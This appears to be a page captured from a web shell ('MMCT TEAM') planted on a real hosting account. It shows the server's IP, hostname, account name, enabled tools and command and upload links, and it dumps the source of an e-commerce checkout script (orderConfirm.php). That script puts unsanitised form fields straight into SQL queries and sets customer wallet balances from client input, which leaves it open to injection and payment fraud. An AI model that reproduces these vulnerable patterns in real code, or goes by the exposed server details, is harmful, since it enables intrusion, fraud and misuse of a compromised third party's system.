MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/agriba/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/orderConfirm.php
<?php require 'includes/db-conn.inc.php';
?> 

<?php
if(isset($_POST['orderConfirm']))
{

    //print_r($_POST);exit;
    $fName=trim($_POST['name']);
    $email=trim($_POST['email']);
    $phone=trim($_POST['phone']);
    $phone2=trim($_POST['phone2']);
    $address=mysqli_real_escape_string($conn,$_POST['address']);
    $paymentType=trim($_POST['paymentMode']);
    $subTotal=trim($_POST['subTotal']);
    $grandTotalamount=trim($_POST['totalAmount']);
    $shippingCharge=trim($_POST['shippingCharge']);
    $Newwallet=trim($_POST['txtnewwallet']);
    $usedWallet=trim($_POST['txtusedwallet']);
    $taxCharge=0;
    $customerid=trim($_POST['id']);
    $orderidd=trim($_POST['orderidd']);
    $city=trim($_POST['city']);
    $state=trim($_POST['state']);
    $country=trim($_POST['country']);
    $pincode=trim($_POST['pincode']);
    $logintype=trim($_POST['logintype']);

 //  shipping Details

    $delName=trim($_POST['txtdelname']);
    $delemail=trim($_POST['txtdelemail']);
    $delphone=trim($_POST['txtdelphone']);
    $delphone2=trim($_POST['txtdelphone2']);
    $deladdress=mysqli_real_escape_string($conn,$_POST['txtdeladdress']);
    $delcity=trim($_POST['txtdelcity']);
    $delstate=trim($_POST['txtdelstate']);
    $delcountry=trim($_POST['txtdelcountry']);
    $delpincode=trim($_POST['txtdelpincode']);
    $samebilladdress=trim($_POST['txtsamebilladdress']);
    //copuon code
    $couponcode=trim($_POST['txtcouponcode']);
    $sqlcoupon=mysqli_query($conn,"select * from tbl_coupon_master where coupon_code='$couponcode'") or die(mysqli_query($conn));
        $rowcoupon   = mysqli_fetch_assoc($sqlcoupon);
        $couponvalue = $rowcoupon['coupon_value'];
        $couponcode  = $rowcoupon['coupon_code'];
        $grandTotal  =$grandTotalamount-$couponvalue;

    
    $rand=rand(100000,999999);
    $df=date('mdyHi',time());
    $invoiceorderId="JMRT".$rand;
    $_SESSION['ordrid']=$orderidd;
    date_default_timezone_set("Asia/Kolkata");
    $orderDate=date("Y-m-d h:i");


    if($fName!='' && $email!='' && $phone!='' && $address!='' && $grandTotalamount!='')
    {
        
        if($paymentType=='COD')
        {
            
        
           $sql="insert into order_master(orderId,fName,email,phone,address,city,country,pinCode,state,paymentType,subTotal,shippingCharge,grandTotal,orderStatus,orderDate,customerid,detailsorder_id,alternate_phone,logintype,taxcharge,delName,delemail,delphone,delphone2,deladdress,delcity,delstate,delcountry,delpincode,samebilladdress,coupenCode,couponvalue,usedWallet) values('$invoiceorderId','$fName','$email','$phone','$address','$city','$country','$pincode','$state','$paymentType','$subTotal','$shippingCharge','$grandTotal','New Order','$orderDate','$customerid','$orderidd','$phone2','$logintype','$taxCharge','$delName','$delemail','$delphone','$delphone2','$deladdress','$delcity','$delstate','$delcountry','$delpincode','$samebilladdress','$couponcode','$couponvalue','$usedWallet')";

              if(mysqli_query($conn,$sql) or die (mysqli_error($conn)))
                 {
                  $query=mysqli_query($conn,"update tbl_order set cart_status='1' where order_id='$orderidd'");

                  $query2=mysqli_query($conn,"update tbl_registration set wallet_amount='$Newwallet' where id='$customerid'");

                   unset($_SESSION['rand']);

                    echo "<script>location.href='thank-you.php?&orderid=$invoiceorderId';</script>";
                   
                 // echo "<script>alert('insert');</script>";
                    
                 }
                 else{
                        echo "<script>alert('error');</script>";  
                }   
         
       }
       else if($paymentType=='Online Payment')
        {
            
        
            $sql="insert into order_master(orderId,fName,email,phone,address,city,country,pinCode,state,paymentType,subTotal,shippingCharge,grandTotal,orderStatus,orderDate,customerid,detailsorder_id,alternate_phone,logintype,taxcharge,delName,delemail,delphone,delphone2,deladdress,delcity,delstate,delcountry,delpincode,samebilladdress,coupenCode,couponvalue) values('$invoiceorderId','$fName','$email','$phone','$address','$city','$country','$pincode','$state','$paymentType','$subTotal','$shippingCharge','$grandTotalamount','New Order','$orderDate','$customerid','$orderidd','$phone2','$logintype','$taxCharge','$delName','$delemail','$delphone','$delphone2','$deladdress','$delcity','$delstate','$delcountry','$delpincode','$samebilladdress','$couponcode','$couponvalue')";


              if(mysqli_query($conn,$sql) or die (mysqli_error($conn)))
                 {
                  

                       //echo "<script>alert('insert');</script>";
                         // echo "<script>location.href='razorpay/index.php?&orderid=$invoiceorderId';</script>";
                      echo "<script>location.href='payment.php?&orderid=$orderidd';</script>";
                    
                 }
                 else{
                        echo "<script>alert('error');</script>";  
                }   
         
       }



    }
    else
    { ?>
        
       <script>
         
                // window.location = "cart.php";
        
       </script>
        
   <?php }
}


?>






MMCT - 2023